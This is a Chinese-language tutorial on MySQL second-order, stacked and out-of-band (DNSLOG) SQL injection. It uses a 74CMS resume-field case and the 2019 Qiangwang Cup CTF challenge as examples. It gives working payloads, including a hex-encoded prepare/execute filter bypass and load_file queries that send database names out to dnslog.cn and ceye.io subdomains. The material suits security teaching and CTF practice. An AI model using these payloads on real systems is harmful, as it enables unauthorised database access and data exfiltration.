文章目录
- MYSQL-二次注入-74CMS
- 思路描述:
- 注入条件:
- 案例:74CMS个人中心简历功能
- MYSQL-堆叠注入-CTF强网
- 思路描述
- 注入条件
- 案例:2019强网杯-随便注(CTF题型)
- MYSQL-带外注入-DNSLOG
- 注入条件
- 使用平台
- 带外应用场景:
本节内容:
二次注入、堆叠注入、带外注入
MYSQL-二次注入-74CMS
该漏洞较冷门,冷门也有好处,热门漏洞大家都会去注意,在挖掘漏洞时可能会不好挖,冷门漏洞可能反而好挖一些
思路描述:
黑盒思路:分析功能有添加后对数据操作的地方(功能点)
白盒思路:insert后进入select或update的功能的代码块
注入条件:
插入时有转义函数或配置,后续有可利用插入数据的点
magic_quotes_gpc
魔术引号开关,PHP,开启后自动对引号进行转义该参数本意阻止SQL注入,但是在二次注入里又需要它
实战中黑盒测试基本上发现不到二次注入,可能性很小,需要的点太多了,而且时间上也不允许,一般二次注入都是从代码审计,白盒测试中找出的。
案例:74CMS个人中心简历功能
74CMS个人中心简历功能
1、在增加简历内容时有注入点:
2、发现专业名称一栏有长度限制,检查内容发现是前端限制,直接修改前端代码即可。
插入内容有时会限制长度,分为前端限制和后端限制,后端限制没办法,前端限制的话可以直接修改前端代码即可。
3、插入注入语句。
aa',`fullname`=version()#
4、预览简历,触发二次注入,爆出数据库版本:
如果是黑盒测试,完全不知道代码如何写的,SQL语句是什么样的,很难发现该漏洞,基本不可能,一般不会黑盒这样测,无法准确的测到。
MYSQL-堆叠注入-CTF强网
思路描述
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,
例如php中的mysqli_multi_query函数。与之相对应的==mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()==这样的函数,根据数据库类型决定是否支持多条语句执行.
注入条件
1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
4、支持堆叠数据库:MYSQL MSSQL Postgresql等,大部分都支持,主要看函数是否支持多条语句执行
该漏洞注入的内容是一个全新的SQL语句,实战中用的不多,CTF中用的多
案例:2019强网杯-随便注(CTF题型)
';show databases;
';show tables;
';show columns from `1919810931114514`;
';select flag from `1919810931114514`;
# 对select有过滤,将内容换为十六进制码,再加上语句,变量赋值执行进行绕过。
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
参考文章:https://blog.csdn.net/weixin_45642610/article/details/112337143
MYSQL-带外注入-DNSLOG
注入条件
ROOT高权限且支持load_file(),两者缺一不可
MySQL中
secure-file-priv
控制安全权限,高版本默认开启该安全策略。直接用
load_file()
和带外注入没有区别,只是带外解决了不回显的问题。
有部分注入点是没有回显的,所有读取也是没回显的,采用带外
不回显,没有显示,都是可以通过带外解决
使用平台
http://ceye.io
http://www.dnslog.cn
带外应用场景:
解决不回显,反向连接,SQL注入,命令执行,SSRF等
SQL注入语句示例:
and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc')))
// 查询当前数据库
id=1 and load_file(concat("\\\\",database(),".dbuh8a.ceye.io\\asdt"))
//查询其他数据库
id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
由于该DNS记录只能回显一个字段,所以应该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
实战中碰不到。都是在面试/CTF中。